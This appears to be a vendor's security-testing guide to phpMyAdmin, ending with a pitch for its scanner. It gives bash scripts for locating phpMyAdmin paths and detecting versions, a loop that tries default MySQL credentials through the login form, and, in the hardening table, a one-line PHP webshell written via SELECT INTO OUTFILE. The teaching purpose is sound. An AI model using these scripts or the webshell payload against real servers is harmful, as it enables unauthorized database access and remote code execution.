phpMyAdmin Security Testing: Unauthenticated Access, Default Credentials, Remote Code Execution, and SSRF

phpMyAdmin is the most widely deployed web-based MySQL administration interface, installed on millions of servers via shared hosting, cPanel, and self-managed LAMP stacks. It is also one of the most commonly targeted and successfully compromised web applications: phpMyAdmin instances exposed to the internet frequently have no authentication restriction (relying solely on MySQL credentials), use default or weak credentials, or are accessible at predictable paths /phpmyadmin/, /pma/, /admin/; CVE-2018-12613 is a local file inclusion vulnerability in phpMyAdmin 4.8.0-4.8.1 that allows an authenticated attacker to read local files and achieve RCE; the phpMyAdmin setup wizard at /setup/ can expose a configuration interface that allows connecting to arbitrary MySQL servers (SSRF); authenticated users can execute arbitrary SQL including SELECT ... INTO OUTFILE to write PHP webshells when MySQL has FILE privilege; and phpMyAdmin's AllowArbitraryServer feature, when enabled, allows an authenticated user to connect to any MySQL host on the network from their browser. This guide covers systematic phpMyAdmin security assessment.

Table of Contents

  1. phpMyAdmin Discovery and Version Detection
  2. Unauthenticated Access and Default Credentials
  3. CVE-2018-12613 LFI and RCE
  4. SQL-Based Webshell and File Write
  5. Setup Script and SSRF
  6. phpMyAdmin Security Hardening

phpMyAdmin Discovery and Version Detection

# Common phpMyAdmin paths to test:
PATHS=("/phpmyadmin/" "/pma/" "/phpMyAdmin/" "/admin/pma/"
       "/db/pma/" "/dbadmin/" "/mysql/" "/mysqladmin/"
       "/web/phpMyAdmin/" "/phpMyAdmin-latest/" "/admin/mysql/")

TARGET="https://example.com"
for PATH in "${PATHS[@]}"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -L "${TARGET}${PATH}" 2>/dev/null)
  if [ "$CODE" == "200" ]; then
    echo "Found: ${TARGET}${PATH}"
  fi
done

# Get phpMyAdmin version from login page
curl -s "https://example.com/phpmyadmin/" 2>/dev/null | \
  grep -oE 'phpMyAdmin [0-9]+\.[0-9]+\.[0-9]+' | head -3

# Version also visible in the source of login page
curl -s "https://example.com/phpmyadmin/" 2>/dev/null | \
  grep -iE 'version|revision' | head -5

Unauthenticated Access and Default Credentials

# phpMyAdmin authentication modes:
# 'config' — no login prompt (uses hardcoded credentials) = critical
# 'cookie' — standard login form (most secure)
# 'http'   — HTTP basic auth

# Check if phpMyAdmin is configured with 'config' authentication (no login required)
curl -s "https://example.com/phpmyadmin/index.php" 2>/dev/null | \
  python3 -c "
import sys
content = sys.stdin.read()
if 'pma_username' not in content and 'token' in content and 'logout' in content.lower():
    print('POSSIBLE: phpMyAdmin accessible without authentication (config auth mode)')
elif 'input_username' in content or 'pma_username' in content:
    print('Login form present — requires credentials')
" 2>/dev/null

# Test default MySQL credentials via phpMyAdmin login
# phpMyAdmin passes credentials directly to MySQL
COMMON_CREDS=("root:" "root:root" "root:password" "root:mysql" "root:admin" "admin:admin")
for CRED in "${COMMON_CREDS[@]}"; do
  USER="${CRED%%:*}"
  PASS="${CRED##*:}"
  # Get login token first
  TOKEN=$(curl -s "https://example.com/phpmyadmin/index.php" 2>/dev/null | \
    grep -oE 'token=[a-f0-9]+' | head -1 | cut -d'=' -f2)
  if [ -n "$TOKEN" ]; then
    RESPONSE=$(curl -s -c /tmp/pma_cookies -b /tmp/pma_cookies \
      -X POST "https://example.com/phpmyadmin/index.php" \
      -d "pma_username=${USER}&pma_password=${PASS}&server=1&token=${TOKEN}" 2>/dev/null)
    if echo "$RESPONSE" | grep -q "logout\|Databases\|pma_navigation"; then
      echo "LOGIN SUCCESS: ${USER}/${PASS}"
    fi
  fi
done

phpMyAdmin Security Hardening

phpMyAdmin Security Hardening Checklist:
Security TestMethodRisk
phpMyAdmin accessible at predictable pathsProbe /phpmyadmin/, /pma/, /admin/mysql/ — login page accessible from internetHigh
Default MySQL root credentials (root/root, root:empty)POST login with root/root or root/blank — direct MySQL root accessCritical
Config auth mode (no login required)Access phpMyAdmin without credentials — 'config' auth_type bypasses all authenticationCritical
CVE-2018-12613 LFI/RCE (v4.8.0-4.8.1)Authenticated LFI via crafted URL — reads local files; combined with session file achieves RCECritical
SQL INTO OUTFILE webshell writeSELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php' — writes PHP webshellCritical
/setup/ script accessible without authGET /phpmyadmin/setup/ — exposes configuration wizard including arbitrary MySQL server connectionHigh

Automate phpMyAdmin Security Testing

Ironimo tests phpMyAdmin deployments for internet-accessible login pages at common paths, config authentication mode bypassing all credential requirements, default and weak MySQL root credentials enabling full database access, CVE-2018-12613 local file inclusion in vulnerable version ranges, FILE privilege allowing SQL-based webshell writes to the web root, /setup/ script exposure enabling SSRF via arbitrary server connections, and AllowArbitraryServer enabled allowing lateral movement to internal MySQL instances.

Start free scan